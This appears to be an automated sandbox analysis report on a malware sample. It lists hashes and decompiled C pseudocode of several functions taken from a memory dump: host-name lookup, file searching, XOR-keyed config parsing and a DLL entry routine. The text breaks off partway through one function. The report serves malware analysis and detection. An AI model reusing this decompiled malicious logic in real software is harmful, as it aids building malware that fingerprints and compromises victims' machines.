Instruction ID: de18e50e9da37d896b85ed3c116a288e6c02975c436b4e7516b699e6041f91ab
Opcode Fuzzy Hash: ec424d69c30081e3c70109cc705f6f5a744ecb7594a5190d4c6eec8cf0710b54
Instruction Fuzzy Hash: 7031FCB5A00129AFCF21DFA5C988C9FBB79FFC9740B154698F8199B210D631ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B289D6, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E04B289D6(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t15;
				void* _t21;
				void* _t23;
				void* _t24;
				signed short* _t25;

				_t23 = __edx;
				_t24 = E04B2809F(0, _a12);
				if(_t24 == 0) {
					_t21 = 8;
				} else {
					_t25 = _t24 + _a16 * 2;
					 *_t25 =  *_t25 & 0x00000000; // executed
					_t15 = E04B2904E(__ecx, _a4, _a8, _t24); // executed
					_t21 = _t15;
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t25 = 0x5f;
						_t21 = E04B2A635(_t23, 8, _a4, 0x80000001, _a8, _t24);
					}
					HeapFree( *0x4b2d238, 0, _t24);
				}
				return _t21;
			}

0x04b289d6
0x04b289e9
0x04b289ed
0x04b28a47
0x04b289ef
0x04b289f6
0x04b289fc
0x04b28a00
0x04b28a05
0x04b28a09
0x04b28a0f
0x04b28a18
0x04b28a1d
0x04b28a32
0x04b28a32
0x04b28a3d
0x04b28a3d
0x04b28a4e

APIs

Part of subcall function 04B2809F: lstrlen.KERNEL32(?,00000000,04B2D330,00000001,04B22200,04B2D00C,04B2D00C,00000000,00000005,00000000,00000000,?,?,?,04B296C1,04B223E9), ref: 04B280A8
Part of subcall function 04B2809F: mbstowcs.NTDLL ref: 04B280CF
Part of subcall function 04B2809F: memset.NTDLL ref: 04B280E1

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,74B05520,00000000,00000008,00000014,004F0053,054E937C), ref: 04B28A0F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,74B05520,00000000,00000008,00000014,004F0053,054E937C), ref: 04B28A3D

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 2eb28c536410cbf7eac1b4b9542262168fa66c0eee37f2344f962c94c5ce8643
Instruction ID: bfbead4f9027aa89f08f8b5ce5fe36db65d3cc29a24a46617d8db58767549d5d
Opcode Fuzzy Hash: 2eb28c536410cbf7eac1b4b9542262168fa66c0eee37f2344f962c94c5ce8643
Instruction Fuzzy Hash: 51018F32200219BBEF226FA4DD44E9B7FB9FF84708F004525FA089B150EB76E955C761

Uniqueness

Uniqueness Score: -1.00%

Function 04B254BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E04B254BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04B22049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04B29039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x04b254c1
0x04b254cc
0x04b254ce
0x04b254d4
0x04b254d6
0x04b254db
0x04b254e4
0x04b254e8
0x04b254f1
0x04b254f5
0x04b25504
0x04b254f7
0x04b254f8
0x04b254fd
0x04b254fd
0x04b254f5
0x04b254e8
0x04b2550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,04B2A306,74B5F710,00000000,?,?,04B2A306), ref: 04B254D4

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

GetComputerNameExA.KERNELBASE(00000003,00000000,04B2A306,04B2A307,?,?,04B2A306), ref: 04B254F1

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 1996d5a4b1af28ad5ecebb273b9731c5a282ea311890960a60f27c1ee620bdfb
Instruction ID: 4c66ad8a7097de088a2bcbd92d10a1c90031f3ebb53d638b52019db379dafa3d
Opcode Fuzzy Hash: 1996d5a4b1af28ad5ecebb273b9731c5a282ea311890960a60f27c1ee620bdfb
Instruction Fuzzy Hash: BFF05466A0012ABAEB21D6AA9E00FAF76BDDBC5654F1100A5A908D3140EA74EE019771

Uniqueness

Uniqueness Score: -1.00%

Function 04B28055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x4b2d23c) == 0) {
						E04B2970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x4b2d23c) == 1) {
						_t10 = E04B26A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x04b2805c
0x04b2805d
0x04b28060
0x04b28092
0x04b28094
0x04b28094
0x04b28062
0x04b28063
0x04b28078
0x04b2807f
0x04b28081
0x04b28081
0x04b2807f
0x04b28063
0x04b2809c

APIs

InterlockedIncrement.KERNEL32(04B2D23C), ref: 04B2806A

Part of subcall function 04B26A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04B2807D,?), ref: 04B26A69

InterlockedDecrement.KERNEL32(04B2D23C), ref: 04B2808A

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: ae9f4d16d1c8c67fcad79f4a9d71230111a574bb7c5b61e0fcfccca22c63ea7e
Instruction ID: b508555d152dca69109dfc24fa2fdd16bb5112eb484797b4a3deca3493f15264
Opcode Fuzzy Hash: ae9f4d16d1c8c67fcad79f4a9d71230111a574bb7c5b61e0fcfccca22c63ea7e
Instruction Fuzzy Hash: B1E02674B0023253A7303F74DB04B1FAA14EF00F82F004690F68CC1060C610F8808AF2

Uniqueness

Uniqueness Score: -1.00%

Function 04B29318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E04B29318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4b2d27c; // 0x9ba5a8
				_t4 = _t15 + 0x4b2e39c; // 0x54e8944
				_t20 = _t4;
				_t6 = _t15 + 0x4b2e124; // 0x650047
				_t17 = E04B29152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E04B29FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x04b29322
0x04b29324
0x04b2932b
0x04b2932c
0x04b2932d
0x04b2932e
0x04b29334
0x04b29339
0x04b29339
0x04b29343
0x04b29355
0x04b2935c
0x04b2938b
0x04b2935e
0x04b29363
0x04b29388
0x04b29365
0x04b29368
0x04b2936f
0x04b2937a
0x04b29371
0x04b29374
0x04b29374
0x04b2937e
0x04b2937e
0x04b29363
0x04b29392

APIs

Part of subcall function 04B29152: SysFreeString.OLEAUT32(?), ref: 04B29231

Part of subcall function 04B29FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04B27946,004F0053,00000000,?), ref: 04B29FD2
Part of subcall function 04B29FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04B27946,004F0053,00000000,?), ref: 04B29FFC
Part of subcall function 04B29FC9: memset.NTDLL ref: 04B2A010

SysFreeString.OLEAUT32(00000000), ref: 04B2937E

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: a7931a58292e0996006bc1d4aa32d205db4069a47f8bf639ffbd52a9c4e0a626
Instruction ID: 2818fc653e8178b33841a67138d931e7729863e43c078559049cec264c1856b0
Opcode Fuzzy Hash: a7931a58292e0996006bc1d4aa32d205db4069a47f8bf639ffbd52a9c4e0a626
Instruction Fuzzy Hash: 7C019E72600029BBDF219FA8CE049EFBBB8FF48700F0149A5E91DE20A0E370A9558791

Uniqueness

Uniqueness Score: -1.00%

Function 04B221CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E04B221CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x4b2d330;
				E04B284D5();
				while(1) {
					_t8 = E04B212D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E04B2809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x4b2d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E04B284D5();
					if(_t19 != 0) {
						_t22 =  *0x4b2d338; // 0x54e9b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x04b221d5
0x04b221d9
0x04b221da
0x04b221db
0x04b221e0
0x04b221e5
0x04b221ec
0x04b221f3
0x00000000
0x00000000
0x04b221f5
0x04b221fa
0x04b221fb
0x04b22202
0x04b2221c
0x00000000
0x04b22204
0x04b22204
0x04b22206
0x04b22209
0x04b2220d
0x00000000
0x00000000
0x04b2220f
0x04b2220d
0x04b22224
0x04b22224
0x04b22226
0x04b2222d
0x04b2222f
0x04b22235
0x04b2223c
0x04b2224c
0x04b22244
0x04b22247
0x04b22247
0x04b2224f
0x04b2224f
0x04b22258
0x04b22258
0x04b22222
0x00000000

APIs

Part of subcall function 04B284D5: GetProcAddress.KERNEL32(36776F57,04B221E5), ref: 04B284F0

Part of subcall function 04B212D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 04B212FF
Part of subcall function 04B212D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 04B21321
Part of subcall function 04B212D4: memset.NTDLL ref: 04B2133B
Part of subcall function 04B212D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 04B21379
Part of subcall function 04B212D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 04B2138D
Part of subcall function 04B212D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 04B213A4
Part of subcall function 04B212D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 04B213B0
Part of subcall function 04B212D4: lstrcat.KERNEL32(?,642E2A5C), ref: 04B213F1
Part of subcall function 04B212D4: FindFirstFileA.KERNELBASE(?,?), ref: 04B21407

Part of subcall function 04B2809F: lstrlen.KERNEL32(?,00000000,04B2D330,00000001,04B22200,04B2D00C,04B2D00C,00000000,00000005,00000000,00000000,?,?,?,04B296C1,04B223E9), ref: 04B280A8
Part of subcall function 04B2809F: mbstowcs.NTDLL ref: 04B280CF
Part of subcall function 04B2809F: memset.NTDLL ref: 04B280E1

HeapFree.KERNEL32(00000000,04B2D00C,04B2D00C,04B2D00C,00000000,00000005,00000000,00000000,?,?,?,04B296C1,04B223E9,04B2D00C,?,04B223E9), ref: 04B2221C

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: f33962c1a76f60685eed273e95bf6a31e69cd96986bef27a122f7d32ff5f423a
Instruction ID: 72e5ece2bee3c26c9be07185ce76f6f8e4eec7210d33d684b7f6370638d8ae73
Opcode Fuzzy Hash: f33962c1a76f60685eed273e95bf6a31e69cd96986bef27a122f7d32ff5f423a
Instruction Fuzzy Hash: 5A01F536200224AAFF146EEACF80F6A76A9EB85364F5005F6B94CD7050D66ABC419271

Uniqueness

Uniqueness Score: -1.00%

Function 04B21262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B21262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E04B29318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E04B26BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x4b2d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x04b2126a
0x04b212bf
0x04b212c4
0x04b2126c
0x04b21286
0x04b2128a
0x04b2128f
0x04b21291
0x04b212a1
0x04b212ad
0x04b21293
0x04b21293
0x04b21296
0x04b2129b
0x04b2129b
0x04b21291
0x04b2128a
0x04b212ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,74B5F710,?,?,74B5F710,00000000,?,04B2743A,?,004F0053,054E9388,00000000,?), ref: 04B212AD

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8c12ed10873f6987c829657e81fcd5e44b5099eed1cf8f641dbf4d0e7a518a7c
Instruction ID: 4f4421d0142d16f10ffc5ea0d7818fb55d86bd63b3a75eb84514e94ea871a3bb
Opcode Fuzzy Hash: 8c12ed10873f6987c829657e81fcd5e44b5099eed1cf8f641dbf4d0e7a518a7c
Instruction Fuzzy Hash: F8011D32200259FBDF229F58CD05FAE3BBAEB84360F158469FA199A160D731E521DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04B22436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04B22436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x04b22436
0x04b22443
0x04b22444
0x04b22445
0x04b2244c
0x04b2247a
0x04b2247b
0x04b2247e
0x04b22484
0x00000000
0x00000000
0x04b22463
0x04b2246d
0x04b22474
0x00000000
0x04b22465
0x04b22468
0x04b22488
0x04b2246a
0x04b2246a
0x00000000
0x04b2246a
0x04b22468
0x04b2248f
0x04b22495
0x04b22495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 04B2247E

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 46e776e52094c157d95bc0a7bfc2397078743ab316f1108d69dc604e24630bc9
Instruction ID: 011cd097e67cf42e6aed52ff9079a04bd40c3c9dd7e7f3e6b8630af6eddd3a26
Opcode Fuzzy Hash: 46e776e52094c157d95bc0a7bfc2397078743ab316f1108d69dc604e24630bc9
Instruction Fuzzy Hash: 69F03C71D11229EFDB04DB98CA88AEDB7B8EF04304F1080EAE616A7101D7B46B44CF62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04B24094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E04B24094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x4b2d278; // 0x63699bc3
				if(E04B28748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x4b2d2d4 = _v12;
				}
				_t25 =  *0x4b2d278; // 0x63699bc3
				if(E04B28748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x4b2d278; // 0x63699bc3
						_t31 = E04B23F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x4b2d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x4b2d278; // 0x63699bc3
						_t32 = E04B23F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x4b2d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x4b2d278; // 0x63699bc3
						_t33 = E04B23F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x4b2d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x4b2d278; // 0x63699bc3
						_t34 = E04B23F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x4b2d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x4b2d278; // 0x63699bc3
						_t35 = E04B23F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x4b2d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x4b2d278; // 0x63699bc3
						_t36 = E04B23F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E04B26ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E04B2A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x4b2d278; // 0x63699bc3
						_t37 = E04B23F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E04B26ED2(0, _t37) != 0) {
						_t102 =  *0x4b2d32c; // 0x54e95b0
						E04B275E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x4b2d278; // 0x63699bc3
						_t38 = E04B23F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x4b2d27c; // 0x9ba5a8
						_t18 = _t39 + 0x4b2e252; // 0x616d692f
						 *0x4b2d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E04B26ED2(0, _t38);
						 *0x4b2d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x4b2d278; // 0x63699bc3
								_t41 = E04B23F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x4b2d27c; // 0x9ba5a8
								_t19 = _t42 + 0x4b2e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E04B26ED2(0, _t41);
							}
							 *0x4b2d340 = _t43;
							HeapFree( *0x4b2d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x04b24094
0x04b24097
0x04b240b7
0x04b240c5
0x04b240c5
0x04b240ca
0x04b240e4
0x04b242e2
0x04b242e4
0x00000000
0x04b240ea
0x04b240ea
0x04b240f1
0x04b24107
0x04b240f3
0x04b240f3
0x04b24100
0x04b24100
0x04b24111
0x04b24113
0x04b2411d
0x04b24122
0x04b24122
0x04b2411d
0x04b24129
0x04b2413f
0x04b2412b
0x04b2412b
0x04b24138
0x04b24138
0x04b24143
0x04b24145
0x04b2414f
0x04b24154
0x04b24154
0x04b2414f
0x04b2415b
0x04b24171
0x04b2415d
0x04b2415d
0x04b2416a
0x04b2416a
0x04b24175
0x04b24177
0x04b24181
0x04b24186
0x04b24186
0x04b24181
0x04b2418d
0x04b241a3
0x04b2418f
0x04b2418f
0x04b2419c
0x04b2419c
0x04b241a7
0x04b241a9
0x04b241b3
0x04b241b8
0x04b241b8
0x04b241b3
0x04b241bf
0x04b241d5
0x04b241c1
0x04b241c1
0x04b241ce
0x04b241ce
0x04b241d9
0x04b241db
0x04b241e5
0x04b241ea
0x04b241ea
0x04b241e5
0x04b241f1
0x04b24207
0x04b241f3
0x04b241f3
0x04b24200
0x04b24200
0x04b2420b
0x04b2420d
0x04b24210
0x04b24211
0x04b24218
0x04b2421a
0x04b2421b
0x04b2421b
0x04b24218
0x04b24222
0x04b24238
0x04b24224
0x04b24224
0x04b24231
0x04b24231
0x04b2423c
0x04b2424a
0x04b24254
0x04b24254
0x04b2425b
0x04b24271
0x04b2425d
0x04b2425d
0x04b2426a
0x04b2426a
0x04b24275
0x04b24288
0x04b24288
0x04b2428d
0x04b24293
0x00000000
0x04b24277
0x04b2427a
0x04b24281
0x04b24286
0x04b24298
0x04b2429a
0x04b242b0
0x04b2429c
0x04b2429c
0x04b242a9
0x04b242a9
0x04b242b4
0x04b242c0
0x04b242c5
0x04b242c5
0x04b242b6
0x04b242b9
0x04b242b9
0x04b242d3
0x04b242d8
0x04b242e5
0x04b242e9
0x04b242e9
0x00000000
0x04b24286
0x04b24275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B24119
StrToIntExA.SHLWAPI(00000000,00000000,?,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B2414B
StrToIntExA.SHLWAPI(00000000,00000000,?,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B2417D
StrToIntExA.SHLWAPI(00000000,00000000,?,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B241AF
StrToIntExA.SHLWAPI(00000000,00000000,?,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B241E1
HeapFree.KERNEL32(00000000,04B223DE,04B223DE,?,63699BC3,04B223DE,?,63699BC3,00000005,04B2D00C,00000008,?,04B223DE), ref: 04B242D8

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: df6aac635f852a2232cb9d856dec3a21050f3b700d3f9e02d8ef85259b034be3
Instruction ID: 1bb7efbe977300d4b87260b991b14e94f5370081626418503ed6e32f28085f46
Opcode Fuzzy Hash: df6aac635f852a2232cb9d856dec3a21050f3b700d3f9e02d8ef85259b034be3
Instruction Fuzzy Hash: CE6166B0B10134AAFF20EBB5DF84D6F77EDEB587017244A96A409E7504E639FD458B20

Uniqueness

Uniqueness Score: -1.00%

Function 04B2A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E04B2A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
